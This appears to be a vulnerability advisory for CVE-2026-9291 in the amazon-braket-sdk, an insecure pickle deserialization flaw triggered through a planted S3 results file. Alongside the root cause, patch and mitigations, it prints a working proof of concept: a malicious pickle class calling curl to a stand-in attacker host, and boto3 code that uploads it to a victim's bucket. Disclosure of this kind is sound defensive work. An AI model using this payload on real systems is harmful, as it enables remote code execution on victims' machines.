CVE-2026-9291: amazon-braket-sdk Insecure Deserialization via pickle.loads()
A user with write access to an Amazon Braket job output S3 bucket can plant a malicious results file that causes the SDK to run arbitrary code on the victim's machine when job results are retrieved.

The problem
The deserialize_values() function in braket/jobs/serialization.py reads the dataFormat field directly from the job results JSON stored in S3 and uses it to decide whether to call pickle.loads() on the payload values. No validation checks that the format matches what the job was originally configured to produce.
Any principal with s3:PutObject on the victim's Braket job output bucket can overwrite results.json, set dataFormat to pickled_v4, and embed a base64-encoded malicious pickle blob. When the victim later calls job.result(), load_job_result(), or load_job_checkpoint(), the SDK deserializes the attacker-controlled data, executing arbitrary code with the victim's OS-level permissions.
Proof of concept
A working proof-of-concept for CVE-2026-9291 in amazon-braket-sdk, with the exact payload below.
# 1. Generate the malicious pickle payload
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ("curl https://attacker.example.com/pwned",))
pickle_bytes = pickle.dumps(RCE(), protocol=4)
b64_payload = base64.b64encode(pickle_bytes).decode()
# 2. Craft the malicious results.json and upload it to the victim's S3 bucket
import json, boto3
malicious_result = {
"braketSchemaHeader": {
"name": "braket.jobs.job_checkpoint_data",
"version": "1"
},
"dataDictionary": {
"result": b64_payload
},
"dataFormat": "pickled_v4"
}
s3 = boto3.client("s3")
s3.put_object(
Bucket="amazon-braket-output-<victim-account-id>",
Key="jobs/<job-id>/data/output/results.json",
Body=json.dumps(malicious_result)
)
# 3. When the victim calls job.result() or load_job_result(), pickle.loads()
# executes the payload automatically. No further interaction needed.The root cause is that deserialize_values() treated the attacker-controlled dataFormat field from the S3 JSON file as a trusted instruction, branching into pickle.loads(base64.b64decode(value)) whenever it saw pickled_v4. Pickle deserialization in Python executes arbitrary bytecode; there is no safe way to restrict what a pickle blob can do.
The patch (v1.117.0, release title: "Disable pickle deserialization by default for security") removes or gates the pickle branch so that the SDK no longer calls pickle.loads() on data read from S3 by default. This is a textbook CWE-502 (Deserialization of Untrusted Data) instance: the format selector came from the same untrusted source as the data itself.
The fix
Upgrade to amazon-braket-sdk >= 1.117.0. Run: pip install --upgrade amazon-braket-sdk. If immediate upgrade is not possible: (1) restrict the Braket job output S3 bucket policy so only trusted principals hold s3:PutObject; (2) inspect the dataFormat field in results.json before calling job.result() and reject any value of pickled_v4 your workflow did not explicitly set.
Reported by AWS Security.
Related research
- high · 8.8CVE-2026-57516CVE-2026-57516: Ray read_webdataset Arbitrary Code Execution via Default Pickle Decoder
- high · 7.8CVE-2026-54071CVE-2026-54071: BabelDOC Arbitrary Code Execution via CMap Pickle Deserialization
- high · 8.7CVE-2026-70492CVE-2026-70492: open-webui Stored XSS via KaTeX Render-Error Fallback
- high · 7.1CVE-2026-70485CVE-2026-70485: Open WebUI NAT64-Encoded SSRF Filter Bypass